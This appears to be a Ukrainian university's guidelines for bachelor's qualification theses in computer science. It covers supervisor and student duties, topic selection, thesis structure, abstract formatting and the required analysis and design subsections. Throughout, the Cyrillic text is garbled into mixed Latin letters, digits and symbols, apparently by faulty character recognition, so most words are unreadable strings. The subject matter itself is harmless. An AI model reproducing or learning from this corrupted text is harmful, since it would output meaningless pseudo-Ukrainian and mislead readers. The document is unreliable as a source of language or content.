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1. 3arajabHi MoJI0KeHHA

B  sxocti arecramiiiHoi poGotm  OakamaBpa  CTYOEHTH  BUKOHYIOTh
kBamiikamiiny poboty. Kpamidikamiitna poGoTa Moxke OyTH KOMIUIEKCHOIO 1
BUKOHYBATHUCh JIEKIJIBKOMA CTY/ICHTAMHU.

Ksami¢ikaniiny po0GOTy BHKOHY€ CTYACHT CaMOCTIHHO, TEPIOJUYHO
KOHCYJIBTYIOUHCH 3 ii KEPIBHUKOM 1 KEPIBHUKAMH PO3JILIIB.

CryeHT-BUKOHABEIb KBaMPiKkaIliitHoi poOOTH MOBHHEH:

- 00paTH i y3roJIuTu 3 KEPIBHUKOM TEMY POOOTH;

- OTpUMATH 3aBJIaHHs Ha KBaJi(iKaliitHy poboTy;

- CaMOCTIMHO BUKOHYBAaTH KBaji(iKalliiiHy poOOTy CIMPaIOUnCh Ha MaTepiaan

nepeaaTecTaiiHol MPaKTUKKU, METOJIMYHE Ta 1HGOopMaIliiiHe 3a0e3neueHHS;
- CHCTEMaTHYHO BIJIBIlyBaTH KOHCYJbTAIlli KepIBHHKA POOOTU 1 KEpiBHUKIB
O3B,

- CcHpuiMaTH 3ayBa)kKeHHs Ta OMEpaTHBHO BUKOHYBATH BKa3iBKH KEPIBHHUKIB,

- IOTWKHSA iHGOPMYBaTH KepiBHHKAa MPO XiJA BHUKOHAHHS 3aBIaHHSI Ha
KBaJipikauiiHy poOoTy;

- mojatu kBamiikamiiiHy poOOTy Ha TepeBipKy KepiBHUKaM pO3JILTIB,
OTPUMATH OLIIHKY 32 BUKOHAHHS KOKHOTO PO3/IiTY;

- TOJaTH TOTOBUI MaTepial Ha MEPeBipKy KePiBHUKY POOOTH HE Mi3HIIIe HiXK

3a IeCAThb JHIB JI0 3aXUCTY;

- OTpUMATH 30BHIIIHIO PELIeH31I0 Ha KBasi(iKamiitHy poOoTy;

- MATOTYBaTH JOIIOBIJIb PO OCHOBHI IOJIOKEHHS KBaJli(pikamiifHoi podoTH;

- chopmyroBaTH BIATOBiI HAa 3ayBaKCHHS KEpPIBHUKA POOOTH, KEPIBHUKIB

PO3LIIIB, PEIICH3CHTA;

- BIAMNOBIZHO 10 rpadika 3axUCTUTH poOOTY Ha 3acifiaHHl eK3aMeHaliiHOl

komicii (EK), moTpuMyrodnch periiamMeHTy.

Kannunatypu xepiBHUKIB KBali(pikaliiHUX poOIT (BUKIIagaul YHIBEPCUTETY a0
JOCBiIueH1 (paxiBll MIANPUEMCTB, YCTAHOB Ta OpraHi3amii) 3aTBEPIKYIOTHCS
HaKa30M PEKTOopa.

KepiBauk kBamigikaiiiiHoi poOOTH MOBUHEH:

- chopmyBaTH Ta y3rOJUTH aKTyalbHY TeMy KBamidikamiiHoi poboTu, ska

BIJIMOBIIa€ BUMOTaM OCBITHbO-TIpodeciiinoi nporpamu (OI1IT);
- BHJATU 3aBJaHHS Ha KBadidikaliiiHy poOOTy 13 3a3HAYEHHSIM TEpPMIHIB
BUKOHaHHS PO3/LIIB Ta MoJaHHsa poOoTu Ha posrisia EK;

- KepyBaTH BUKOHAaHHSM KBamiQikariitHoi poO6oTH;

- CKJacTu rpadik KOHCYJIbTaIlil;

- KOHTpOJIOBATH SIKICTb BUKOHAHHS POOOTH;

- TIpU CYTTE€BOMY BIAXHIICHHI BiJl KaJICHAAPHOTO IJIaHy MOPYUIYBAaTH MATAHHS

PO MPU3YIIMHEHHS HABUAHHS;

- TepeBipUTH KBamiQikamiiHy poOOTy 1 OLIHUTH ii;

- HamMcaTH apTyMEHTOBAHMU BIATYK HA KBai(ikaliiiHy poOOTy i HampaBUTH

i1 Ha peLCH3yBaHHS,

- TOBEPHYTH CTYACHTY POOOTY HE IMi3HIIIEe HIX 32 YOTUPH JIHI 0 3aXUCTY;

- TPOBECTH IATOTOBKY CTYAEHTA A0 3aXHUCTY KBamidikariitHoi podoTw;
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- OyTH TpPUCYTHIM MiJ 4Yac 3aXUCTy poOOTH Ta OTOJOCUTH CBill BIATYK Ha
3acimanni EK.

KepiBHUKIB BUKOHAaHHS OKpPEMHUX PO3JIIB  NPU3HAYAIOTh  3aBlayBadi
npoduTeHUX Kadeap 3a MOTOIKEHHSM 13 3aBiyBauaMy BUITYCKOBUX Kadeap.

HopmoxonTpoas kBamidikamidHux poOiT 3MIHCHIOE TPU3HAYCHUN METOIUIHOIO
KOMICI€IO CIeIiajIbHOCTI BUKJIAJau.

BiamoBiganpHICTH 3a SIKICHY Ta BYaCHY MiATOTOBKY KBadidiKamiitHUX poOiT Hece
BUITyCKOBa Kadenpa, mo 3000B’s3aHa CTBOPUTU 37400yBaueBi BIANOBIAHI YMOBH,
HAJaTH METOIUYHE Ta 1IH(opMalliiiHe 3a0e3eueHHs.

2. TemaTtuka kBaJjigikaniiHux poodiT 0akanaBpis

OCHOBHUMH KpHUTEPIsIMHU IIpU POpMYBaHHS TEMATUKU KBaniikamiiHoi podotu
BUCTYMAIOTh: aKTyaJbHICTh, MEPCHEKTUBHICTb 00OpaHOi TeMH, HASBHICTH JOCTYITHOT
s 3m00yBada 1 JIOCTaTHBOI IS PO3KPUTTS TEMH MaTepialbHO-TEXHIYHOI Ta
JDKepenbHOI 0a3u, MOXKITUBICTh BUKOHAHHS TEMU B YMOBaX BUITYCKOBOI KadepH.

Tematuka kBam@ikaiiHuX poOIT MOBUHHA OYTH aKTyalbHOI, BKa3yBaTH Ha
HAsIBHICTb HEBUPIIIEHUX YW HEJOCTATHHO OOIPYHTOBAHUX NPOOJIEM Y MPaKTUYHIN
JUSUTBHOCTI OpraHi3ailif, ycTaHOB, MIANPUEMCTB, JEpPKaBHUX OPraHiB, BIAMOBIJIATH
cydacHoMy crtany IT-ramy3i Ta BekTopam ii pPO3BHUTKY, a TaKoX IepeadadaTH
OUiKyBaHI pe3yJbTaTH, fAKI BiANOBIJAIOTh peaJbHUM TOTpedaM EKOHOMIKH Ta
PO3BHUTKY CYCHIBCTBA 1 CIIPSMOBAHI Ha iX MpPAaKTUYHE BIPOBAIKEHHS, BiTOOpaskaTH
HalicydacHimI TeHACHILIi PO3BUTKY CYCH1IbCTBA.

Hazpa Ttemu kBamidikamiiiHoi poOoTH MOBMHHA OyTH OpHUTIHAIBHOIO Ta
KOHKPETHOIO, & TAKOX MICTUTH MO3HAUEHHS MPOIEAYPH HisUTBHOCTI Ta MPOAYKT, IO
Mae OyTH OTPUMAaHUM B PE3yJbTaTi BUKOHAHHS POOOTH.

Bubip tematuku kBamidikaiiifHoi poboTH € peporaTuBoio 3700yBaya BUINOI
OCBITM 3 ypaxXyBaHHSAM: BJIACHMX HAyKOBUX a00 TIPAKTUYHUX I1HTEPECIB;
3alpOIIOHOBAaHNX Ka(enpor HalpsMKIB TEOPETHYHUX Ta EKCIIEPUMEHTAIbHUX
JOCIIDKEHb B TaTy31 KOMI IOTEPHUAX HAYK; 0COOIMBOCTEM 0a3u MPakTUKK a00 MICIs
MOCTIMHOI poOOTH, Ha MaTepiajaXx SKHX BUKOHYETbCA KpauiikaiiiiHa poboTa;
MO>KJIMBOCTI OTpUMaHHS HEoOXigHOi iHpopmarii. 3700yBady HAJA€THCS IPaBO
3aMpoIIOHYBaTH Ha PO3IJIsi]] BUITYCKOBOI Kadeapu BIACHY TEMY B MEXax MPEIMETHOT
00J1aCTi CIeiaJIbHOCTI 3 OOIPYHTYBAHHSIM JIOIUIBHOCTI HOTO PO3POOIJICHHS.

Y MeBHUX BHIIAJKaxX pPalliOHALHUM MOKE CTaTH BUKOHAHHS KOMIUICKCHUX
KBai(piKamifHUX  poOIT, I SKUX NPU3HAYAETHCS  TOJIOBHUM  KEpPIBHUK
KBaTi(pikaIiiHOT pOOOTH 1 KEPIBHUKM OKPEMHX YACTHH.

Tema xBamiikamiiinoi podoTn (GopMyeTbCs CHIIBHO 3  KEPIBHUKOM
KBaTi(iKaIiiHOT poOOTH, PO3IIISIIAETHCS Ha 3acijaHHl KadeIpu Ta 3aTBEPKY€EThCS
HAaKa3o0M peKTopa.

3. 3aBnanns Ha kBagdidikaniiHy podory

3aBaaHHsd Ha KBajiQikamiiiHy poOOTy JUIsi KOXXHOTO CTYyJIEHTa OKPEMO
po3po0Jisie KepiBHUK KBasi(ikailiiiHOi poOOTH 3TiHO 3 BIJMOBITHUM 3aTBEPKCHUM
HaKa30M PEKTOpa Ta 3 ypaxyBaHHsAM crieniudiku 0a3u nepesaTecTaiiifHol MpakTHKY.
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3aBmaHHs Ha  KBamidikamiiiHy  poboTy — mepeabadae  TEOpETHYHE,
CHUCTEMOTEXHIUHE abo €KCIIepUMEHTAJIbHE JTOCITI JDKEHHS CKJIAJTHOTO
CIIeIIaJII30BAaHOTO 3aBJaHHS ab0 IMPaKTHYHOI MpOOJIeMH B Tamy3l KOMII'FOTEPHUX

HayK.
4. Ckaanosi kBanidikaniiHux pooir

KBamigikaniiina po0oTa Mae y CBOEMY CKJIaJi TMOSCHIOBAJbHY 3alMCKy 1
Mpe3eHTAaIliIo (IEeMOHCTpalIiHUI MaTepiai) uid JonoBiai Ha 3acizanHi EK.

CtpykTypa TMOSCHIOBANbHOI 3amMCKU  KBadi(iKaliiiHOi poOOTH  YMOBHO
NIOJTUTSIETHCST HA BCTYTIHY, OCHOBHY YaCTHUHHU 1 JIOJIATKH.

Berynna yactuHa BKiIIOUaE:

— TUTYJBHUN apKyll,

— 3aBJIaHHS Ha KBaliikaiiiHy poboTy;

— pedepar;

— MepesiKk yMOBHUX [103HAYEHB;

— 3MICT;

— BCTYIL

OcHoBHa yacTUHA BKJIKOYAE:

PO3ALJT 1. Anani3 crany pimeHHs nmpobiiemu (3a mMarepiaiamMu BITYM3HSIHUX 1
3apyODKHUX IMyOJTiKaIliii) Ta MOCTAHOBKA 3aBJIaHHS.

PO3ALT 2. OO6rpynryBanHs, BuOip Ta peaii3allii METOJIB BUPIIICHHA
po0JIeMH.

PO3 AT 3. ExoHOMiuHUIT pO3Ti.

Takox 10 OCHOBHOI YaCTHHH HaJlIeKaTh:

— BUCHOBKH IIOJI0 OTPUMaHUX y poOOTi Pe3yibTaTiB;

— CIIUCOK BUKOPUCTAHUX JIKEPEIL.

JloaTku BKITFOYAIOTh HEOOXITHY KUTBKICTh YaCTHH:

Honatok . TekcT BUXiTHOTO KOAY MPOTPAMH.
Jonatok __ . BiAryk KepiBHUKA EKOHOMIYHOTO PO3/ILTY.
Honarok __ . Ilepenik (aitniB Ha TUCKY.

Biaryk kepiBHuka kBasidikaiiitHoi poO6oTH.

Peuensis.

[IpesenTariss  kBamiikamiifHoOi poOOTHM TIOBMHHA OyTH  €JIEKTPOHHOIO
(BimeomaTepiayid, MyJIbTUMEI1a TOIIO) Ta MOKE BKJIFOUATH €JIEMEHTH TpadidHoro (Ha
mamepi  Tomo) abo HarypHOro (MoOjaeNi, MaKeTH, 3pa3Kd BHpPOOIB 1 TIOI.)
JEMOHCTpAIITHOTO MaTepiaty.

5. Onuc CTPYKTYPHHUX €JIeMEHTIB MOSICHIOBAJIBbHOI 3alIMCKHU

TuTyabHMHA apKyll BUKOHYETbCS 3a (DOPMOIO, 3aTBEPPKEHOI0 METOJUYHOIO
KOMICIE€IO 31 CIEIaIbHOCTI.

3aBraHHa Ha KBaJdiikaniiiHy po0OTy TakoX BUKOHYETHCS 3a 3aTBEPIKEHOIO
dopmoro, 1110 HaAEThCS 3700yBady KEpiBHUKOM POOOTH.

Pedepar mnomaeTbcs Ha OKpEMHUX CTOPIHKAX — YKPaiHCHKOIO Ta aHTIIMCHKOIO



MoBamu. Pedepar mMae Oytu ctucinuM, iHPOPMATUBHUM 3 CYTTEBUMH BiIOMOCTSIMH
npo KBai(ikamiitny poOOTy Ta IOBUHEH MICTUTH:

— BIJIOMOCTI TIpO O0OCST TMOSCHIOBAJILHOI 3alUCKU  (3arajibHa KIJbKICTh
CTOPIHOK), KUIBKICTh 1TIOCTpaIliid, Tabluilb, JOJATKIB, KUIbKICTh JHKEpeN 3TigHO 3
MepeikoM MOCUIaHb (B1JOMOCTI HABOIATh, BKJIIOYAIOUHN JIaH1 JJOJIaTKIB);

— TeKcT pedepary;

— TepetiK KIF0YOBUX CIIB.

[TochinoBHICTh BUKIIaZeHHS pedepary:

— 00’eKT nocinipKkeHHs abo po3poOKwy;

— MeTa KBamidikamiiHoi podoTu;

— METOJIU JIOCIIPKEHHS Ta anapaTypa;

— OCHOBHI  KOHCTPYKTHBHI, TEXHOJIOTIYHI ¥  TEXHIKO-€KCIUTyaTaIiiHi
XapaKTEPUCTUKHU Ta TOKA3HUKHY;

— MpaKTHYHE 3HauYeHHS poOOTH Ta BUCHOBKH;

— MPOTHO3HI IPUITYLIEHHS PO PO3BUTOK 00’ €KTY JOCIIIPKEHHS a00 PO3POOKH.

CrtpykTypH1 YacTuHu pedepaTy, B AKMX BIICYTHI BiZIOMOCTI1, BUITyCKalOTb.

O6csr pedepary — no 500 cmiB. Pedepar moBuHEH yMilyBaTUCS Ha OJIHIN
cropiami ¢opmaty A4, MIKPSIAKOBUN 1HTepBaJI — oguHapHUi (11T), BUPIBHIOBAaHHS
tekcty — «llo mmpuHi», BiACTym mepmioro psiaka ab3aimy — 1 oM, iHTepBalm MiX
abzammamu — 0 nr. BukopuctoByerbes mpudt Times New Roman texcroBoro
penakTopa Word po3mipom (kersiem) 14 mT.

Kiro4oBi cnoBa, 110 € BU3HAYAIBHUMH JAJIST PO3KPUTTS CyTi KBasigikamiiHOL
po0OTH, HABOJATH MICHS TEKCTy pedepaTy BEIMKUMH JIiTepaMH B Ha3HUBHOMY
BIIMIHKY B DSJIOK uYepe3 KOMH, IMepesik iX MOBHHEH MICTUTH Big 5 nmo 15 cmis
(coBOCTIONYYEHB).

[Ipuknan cTpykTypu Ta 3MmicTy pedepaTty HaBeneHo B Jlonatky A.

3MicT MOYMHAETHCS 3 HOBOI CTOPIHKH. 3MICT TIOJA€THCS HA HACTYITHOMY TICIIS
nBOX pedepariB apkyiii, BiH MOBHHEH BKIIOYATH TaKl MyHKTHU 13 3a3HAUYCHHSIM
CTOPIHOK ITMX MaTepiaiB:

— pedepar ykpaiHChKOIO;

— pedepar aHTTIHCHKOIO;

— TepeNiK YMOBHHX IO3HAYCHb,

— BCTYII;

— HallMEHyBaHHS BCIX PO3/ILIIB, MIPO31TiB, TyHKTIB (IiAMYHKTIB, SIKIIO BOHU
MaroTh 3ar0JIOBKH) OCHOBHOT YaCTHHU POOOTH;

— BHCHOBKH;

— CIHCOK BUKOPHUCTaHHX JIKEpe,;

HallMEHyBaHHS JIOJATKIB.

3pa3ok opopmiieHHs 3MicTy HaBeseHo B JlomaTky b.

Iepesik yMOBHHX MO3HAYEHDb MMOJAETHCS MICIA 3MICTY 3 HOBOTO apkymny. Bin
NOBUHEH MICTUTHU TOSICHEHHS BCIX PIJKO 3aCTOCOBYBAHUX Y POOOTI YMOBHHX
M03HA4Y€Hb, CHMBOJIIB, CKOPOUEHb 1 TEPMIHIB.

3pa3ok ohopMIIEHHS MEepeTiKy YMOBHUX MMO3HaYeHb HaBeeHo B JlogaTtky B.

Beryn po3mintytoTh 3 HOBOi CTOPIHKHU. Y BCTYII BUKJIAIAI0Th!
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— 3B’S30K MpOOJEeMH, MO0 BHPINIYETHCSA, 3 00 €KTOM IisITBHOCTI (haxiBIIs
HaTPSIMY, CTHEIIaIbHOCTI;

- Mety KBarmiikamiitHoi poOOTH Ta rary3b 3aCTOCYBaHHS,

— 0oOTpyHTYBaHHS aKTyaJbHOCTI TEMU;

~ KOHKPETH3aIlit0 IOCTAHOBKY 3aBJaHH:A KBaJli(ikamiitHOT poboTH.

OpienroBuuii o0csr BCTymy — 1,5-2 cTOpiHKH.

[Mpuknax odpopmneHHs BcTymy HaBeaeHo B Jlomatky I'.

OcHOBHA YaCTHHA TOSICHIOBAJILHOI 3aMCKH CKIIAZAETHCS 3 TPHOX CKIIAZIOBHX,
MOJAUISIFOYM MaTepial Ha BIAMOBIIHI PO3ILIH.

CyTb po3/111B MOSICHIOBAILHOT 3alUCKU — BUKJIAJAHHS B1JIOMOCTEN TIPO 00’ €KT
po3po0IIeHHs ab0 JOCHIKEHHS, K1 HEOOX1IHI Ta JOCTATHI JJIsi PO3KPUTTS CYTHOCTI
i€l kBamQikauiiHoi poOOoTH Ta i1 pe3ynabTaTiB, Kl MO CKJIAJHOCTI BIJIMOBIIAIOTH
BUMOTaM JI0 KOMIETEHI[IH OakaaBpa.

OcobnuBa yBara MPHUAIISETbCS HOBM3HI pe3yJbTaTiB BIJIHOCHO aHANOTIB,
MUTAaHHSIM  CyMICHOCTI, B3a€EMO3aMIHHOCTI, HaJIHHOCTI, O€3MeKH, eKOoJIorii,
pecypco30epexeHHs.

OcHOBHA YacTWHA HE TOBMHHA MICTHTH TyOJIIOBaHHS, OMHCOBOTO MaTepiaiy,
CTEpEOTUITHHX PIllIeHb, SKi HE BIUIMBAIOTH HA CyTh KBaliQikaliiHoi poOoTH.

1. Tepumii posain mae HasBy «AHAJII3 TIPEJMETHOI TAJIYV3I TA
INOCTAHOBKA 3ABJIAHHS» ta Bkito4ae Taki miIpO3IiiaH:

1. 1. 3aranpHi B1IOMOCTI 3 IPEAMETHOT Taiy3i.

1.2. Tlpu3HaueHHs po3pOOKH Ta raidy3b 3aCTOCYBAaHHS.

1.3. IligcraBu s pO3POOKH.

1.4. TTocTtaHoBKa 3aBJaHHS.

1.5. Bumoru ao nporpamu abo mporpaMHOTO BUPOOY.

HasBHicTh BCIX MIAPO3aiiB Ta MYHKTIB IEPIIOTO PO3ALTY € 000B’ A3KOBOIO Ta HE

MO>K€ 3MIHIOBATHUCH.

1.1. Y migpo3aini «3aranbHi BiJOMOCTI 3 IPEAMETHOI ramy3i» po3risaacThCs
cyyacHUHM crtaH mnpoOjemu (aHalll3 aHAJIOrIB, CTYMIHb PO3B’S3aHHS 3aBIaHb,
TEXHIYHI NPOTUPIYYS, MPOTaJIMHU 3HAHb B LI{ ramxysl, HE3A1MCHEHI BUMOTHU 10
BUPOOIB 4K PO3pOOOK HAYKOBOI'O, OpraHi3aIliiHOro abo I1HIIOTO XapakTepy),
BKa3YEThCSI HAa3Ba, XapaKTEpUCTHKA Tally3l 3acTOCyBaHHS mporpamu abo
MPOrpaMHOT0 BUPOOY Ta 00'€kTa, B SIKOMY BHKOPHUCTOBYIOTH IpOrpamy ado
porpamMHuii Bupio.

1.2. ligpo3ain  «IIpusHaueHHst po3poOKM Ta Tramy3b 3acCTOCYBAHHS»
MOYMHAETHCS TIOBHOIO HA3BOIO pO3p00IIeHOT cucTeMH a0 MPOrpamMu, BBOIUTHCS
OCHOBHA TEPMIHOJIOTISI, 110 MICTUTh KIIOYOBI CJOBA, NMPUYMHA BUHUKHEHHS
HEOOX1THOCTI PO3POOKH MPOTPAMHOIO 3a0€3MEUEHHs, a TaKOX Taiys3i, B SIKUX
MO’K€ 3aCTOCOBYBATHUCS CHCTEMA, III0 PO3POOITIOETHCS.

1.3. ¥V migpoznini «IligctaBu 15 po3poOKuy» MOBUHHI OyTH BKa3aHi:

— JIOKYMEHT (JIOKyMEHTH), Ha M1ICTaB1 SIKUX BEIEThCS PO3pOOKa;

— oprasizaiis, IO 3aTBepAWJia I€d JOKYMEHT, 1 Jara Woro
3aTBEepHKCHHS,

— HaiiMeHyBaHHS 1 (a00) yMOBHE TTO3HAYEHHS TEMU PO3POOKH.
1.4. Tlinpo3nin  «IlocTaHOBKAa 3aBAaHHS» MNPU3HAYEHUW JUISI  OMHUCY



XapaKTepUCTUK 3aBIAaHHSA Ta YMOB, HEOOXINHUX I Horo BupimeHHs. Bin
MOBMHEH OXOIUIIOBATH BCl 3aBJaHHS CHUCTEMM. 3MICT MOCTAHOBKHM 3aBJIAHHS
Mae BKITIOYATH 1H(POPMAIIIO 32 TAKUMH TyHKTAMU:
- MeTa, IpU3HAYCHHs, TEXHIKO-eKOHOMIYHY (OpTaHi3aIliiiHO-TeXHIYHY)
CYTHICTb 3aBaHHS Ta OOTPYHTYBaHHS AOLIIHHOCTI HOTO PIIICHHS;
- mepenik 00'exTiB (TEXHOIOTIYHUX 00'€KTIB yIpaBIiHHS, MIAPO3ALIIB,
MIIPUEMCTB TOMIO), Y XOAl YOPABIIHHA SKAMH BHKOPHUCTOBYIOTH
po3pobiieHy cucTemy,
- omuc CTPYyKTypu o0O0'ekTiB 1H(]OpMAIIHHOI CUCTEMU 1 TMepemik
MOKA3HHUKIB, 1110 XapaKTEPU3YIOTh ii CTaH;
~ OIKC MPU3HAYCHHS BUX1JHOI 1H)OpMaIlii;
—~ BUMOTM J0 oOprasizaiii 300py Ta mnepenadi B 0OpoOKy BXiJHOT
1H(popMallii, 10 MOPSJIKY ii KOHTPOJIIO 1 KOPUTYBAHHS,
- YMOBHM, TIpH SIKUX TPHUINHUHAETHCS  PO3B'A3aHHS  3aBJaHHS
aBTOMAaTH30BaHUM CIIOCOO0M;
- 3B'S30K JJaHOT CHCTEMH 3 IHIIIUMH 3aJa4aMH;
— posmoaiT (pyHKIH MK TEPCOHANIOM 1 TEXHIYHUMH 3ac00aMu TpU
PI3HHUX CUTYyallsIX BUPIMIEHHS 3aBIaHb CUCTEMHU.
3anexHO BiJ MPHU3HAUEHHS 1 cHemu(iyHUX OCOOIMBOCTEH CTBOPIOBAHOTO
MPOrpaMHOTO MPOAYKTY IOMYCKAEThCSA BKIOYATH B LEH MiAPO3IiN JOJATKOBI
BIJIOMOCTI, BUMOTHY J0 3MICTY SIKUX HE BCTAHOBJIEHI [IUM CTaHJAPTOM.

1. 5. Iigpo3ain «Bumoru mo mporpamu abo mporpaMHOTO BUPOOY» ITOBUHEH
MICTUTH TaKl MyHKTH:

1.5.1. Bumoru 10 QpyHKIIIOHATEHUX XapaKTEPUCTHK.

1.5.2. Bumoru no iHdopmariiiinoi 6e3mexu.

1.5.3. Bumornu 10 ckiaay Ta mapamMeTpiB TEXHIYHUX 3aCO0IB.

1.5.4. Bumoru no iHpopmaniifHOi Ta IpOrpamMHOi CyMiCHOCTI.

Bci BuMoOru, siki BHUCYBAIOThCS IO IYHKTIB IbOTO MiAPO3ALTY, MOBHHHI
OOIPYHTOBYBATHCS.

1.5.1. V nynkri «Bumorm a0 (QYHKIIOHAJBHUX XapaKTEPUCTHK»
MOBUMHHI OYyTHM BKa3aHI BUMOTM JO CKIaQy BHUKOHYBAaHHUX (YHKIIIH,
opraHizaifii BXIJJHUX Ta BHXIJIHUX JaHUX, YAaCOBUM XapaKTEPUCTHUKAM
Toito. He 000B's13k0BO BKa3zyBaTH MOBHUM CKJIAM 1 CTPYKTYp NaHux. MoBa
Wae mpo 3aranbHi NWTaHHS oOpradizamii, 300py MAaHuX, iX MOJaHHS.
Hanpuknan, naHi MOBHHHI BBOJWTHCS HUISXOM CKAaHYBaHHS TEKCTOBUX
JIOKYMEHTIB; JlaHI TOBUHHI BBOJMTHCS KOPHUCTYBAaue€M B J11aJJOTOBOMY
pexxumi. Skmo MoBa Hae mpo 3aTBepikeHi (GopMu  (JIOKyMEHTH)
MpeCTaBIEHHS TaHUX, TO BOHU TTOBUHHI JOAaBATHCS.

1.5.2. V nynkti «Bumorn o indopmariiinoi 0e3nekn» MOBUHHI OyTH
BKa3aHI BHMOTM JO 3a0e3leueHHs HaJIHHOTO  (YHKIIOHYBaHHS
(3abe3nedeHHsT cTayoro (PYHKI[IOHYBaHHS, KOHTPOJb BXITHOI 1 BUXIAHOL
iHpopmMmariii, Yac  BINHOBIEGHHS  ICJIs  BIAMOBH,  3aXHUCT  BiJ
HECAHKI[IOHOBAHOTO JIOCTYNy, 3aXWUCT Bix KomitoBaHHa II3 Tomio.) Ta
3a0e31eueHHsT KOHTPOJIIO Ta IUTICHOCTI JAaHUX CUCTEMH.

1.53. V nynkri «Bumorm o ckimamy Ta mapameTpiB TEXHIYHHUX
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3ac00iB» BKa3ylOTh HEOOXITHWH CKIaJ TEXHIYHUX 3ac00iB, IS SKHX
po3pobmoerbest  I13, 13 3a3HaYeHHSAM iX OCHOBHUX  TEXHIYHHX
XapaKTepUCTUK Ta MapaMeTpiB.

1.54. YV nyskri «Bumorm 1m0 iH(opMamiiHOI Ta MpPOrpaMHOi
CYMICHOCTI» TIOBHHHI OyTH BKa3aHI BUMOTH 0 1H(GOPMALIHUX CTPYKTYP,
BUXIIHMX KOXIB, MOB TIPOTpaMyBaHHS Ta NPOTPaMHUX 3aco0iB,
BUKOPHUCTAHUX JJII CTBOPEHHS Ta (YyHKIIIOHYBAaHHS PO3POOICHOT CHCTEMHU.

2. Hpyruit po3ain wmae Ha3zy «[IPOEKTYBAHHA TA PO3POBKA
IMPOI'PAMHOTIO ITPOAYKTY» Ta BKIItoUa€e Taki MmiaApO3/iIIH:

2.1.®yHKIIOHaIbHE MPU3HAYEHHS IPOrPaMU.

2.2. Onuc 3acToCOBaHUX MaTEMATUYHUX METO/IIB.

2.3.0mu1c BUKOPUCTAHOI apXiTEeKTypH Ta MAOJIOHIB MTPOSKTyBaHHSI.

2.4. Onuc BUKOPUCTAHUX TEXHOJIOTIH Ta MOB IIPOTpaMyBaHHSL.

2.5. Onuc cTpyKTypHu IPOrpaMu Ta aJrOpUTMIB 11 PyHKIIIOHYBaHHS.

2.6. O0rpyHTyBaHHS Ta OpraHizallis BXiTHUX Ta BUXIAHUX JaHUX TPOTPaMH.

2.7. Onuc po3po0IEHOTr0 NPOrPaAMHOTO MPOIYKTY.

HasBHICTP BCIX TIEpENiYeHUX CEMH MIPO3MITIB  IPYTroro  PO3JAUTy €
000B’SI3KOBOKO.

2.1. Y nigposgaini «DyHKIIIOHAaTbHE MPU3HAYEHHS MPOTpaMmu» HAETHCS TPo
¢yHKIIOHAIBHE Ta eKCIUTyaTalliiiHe MpU3HAaYeHHS IporpamMu, abo MporpaMHOTo
BUpoOy. DyHKIIIOHAJIbHE TNpHU3HAYEHHS BHU3HAauae (YHKIII mporpamu,
HanpuKIIam, BeACHHS Oa3W MaHWX TPO CHIBPOOITHHKIB IMMANPHEMCTBA, iX
MOCAIOBUX 1HCTPYKIIAX, 3apIulaTH Tomlo. EkciulyaramiiiHe TpU3HAYCHHS
BU3HAuUae, mo pma€  iHdopmamiifHa cuUCcTEMa 3 TOYKH 30py 3aMOBHHKA!
MOJKJIMBICTh CKOPOYEHHS YHCEIBHOCTI MIEPCOHATY, aBTOMATU3YE PYUYHY IPAIo,
JI03BOJISIE BUKOHYBATH HOB1 BUIM POOIT 1 MOCIYT TOIIO.

2.2. V migpo3ain «Omnuc 3aCTOCOBAaHUX MAaTEMAaTUYHHUX METOJ(IB» TIOBHHHI
OyTH HaBelIEHI BCl BUKOPHCTaHI MaTeMAaTUYHI METOAM, MPUKIAAN Ta YMOBH iX

3aCTOCYBaHHS B PO3pOOJIEHIM CHUCTEMI. Skio TakuxX METOJIB HE
BUKOPHUCTOBYETBCS, TO L5 1H(pOpMAallisl NOBUHHA OYTH BKa3aHa B TEKCTI LIOIO
MIPO3ILITY.

2.3. Iligpo3gin «Onuc BHUKOPUCTAHOI apXITEKTypH Ta I1a0JIOHIB
MIPOEKTYBAHHS» MAa€ MICTUTH OOTPYHTYBAHHS Ta OIHUC apXiTEKTYPH MPOTPAMHOTO
3a0e3MeUeHHs, 110 BHUKOPUCTOBYETHCSA I PO3POOKH Ta (PYHKIIOHYBAHHS
IPOrpamMHOro JoAaTky (kiaieHT-cepsep, MVC, 1 T.1.), a Takok OOTpyHTYBaHHS Ta
BUOIp MOJIeNi KUTTEBOTO LUKy TPOrpPaMHOT0 3a0e3neueHHs.

2.4. Migpo3ain «Onuc BUKOPUCTAHUX TEXHOJOTIM Ta MOB MPOrpaMyBaHHS»
Ma€ MICTHTH 3arajJbHUN  OrJIA)] HasSBHUX METOJIB, TEXHOJOTH 1 MOB
mporpamMyBaHHs Ta OOIPYHTYBaHHS iX BHOOpY Ha TMiJACTaBi NPOBEIECHUX
pO3paxyHKiB 1 (a00) aHai3iB.

2.5. IMligpo3min  «Onuc CTPYKTYypd TIporpaMud Ta  aJlOpUTMIB i
(HyHKITIOHYBaHHS» Ma€ MICTUTH TakKy iH}opMaIlito:

— OIKC JIOTIYHOI CTPYKTYpH Mporpamu abo MporpaMmHOro BHUPOOY 3
onrcoM (DYHKIIH i1 CKJIaOBUX YaCTHH 1 3B'3KYy Mi’K HUMHU;
— ommc anroputMy Ta (abo) QYHKIIOHYBaHHS MpOrpamM 3
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OOIPYHTYBaHHIM BHOOPY CXEMHU aITOPUTMY PO3B's3aHHS 3aBIaHHS;

— OIIUC CTPYKTYpH 0a3u JaHWX MPOTpaMu 3a ii HasIBHOCTI;

— 3B'30K NPOTrpamMu 3 IHITUMH NIPOrpaMaMH, SKIIO BiH iCHYE.

2.6. Y migpo3aimi «OOTrpyHTYBaHHsS Ta OpraHi3ailis BXIAHHX Ta BHUXITHUX
JaHUX MPOrpaMmu» TOBHUHHI OyTH BKa3aHi:

— Xapakrep, opraHizailis 1 IormepeHs MirOTOBKA BX1THUX JTaHUX;

— XapakTep i opraHizamis BUXiTHUX TaHUX;

— (opmar, onmc 1 cnoci® KoxyBaHHS BX1IHUX Ta BUXITHUX JTaHHX.

He 060B'sI3k0BO BKa3yBaTH MOBHMIA CKNIAJ i CTPYKTYpPH JaHUX. MeThes mpo
3arajibHi MUTaHHS oOpraHizamii, 300py naHux, ix momanHs. Hampuknan, mani
MOBHHHI BBOJAWUTHUCS CKaHEPOM 3 TEKCTOBUX IOKYMEHTiB, a0 JaHI MOBHUHHI
BBOAMTHUCS KOPHCTYBaue€M B MJiaJlorOBOMY pexumi. SKkmo wMoBa iinme mpo
3aTBepKeHI (popMH (IOKYMEHTH) NPEICTaBJICHHS JaHWX, TO BOHU ITOBUHHI
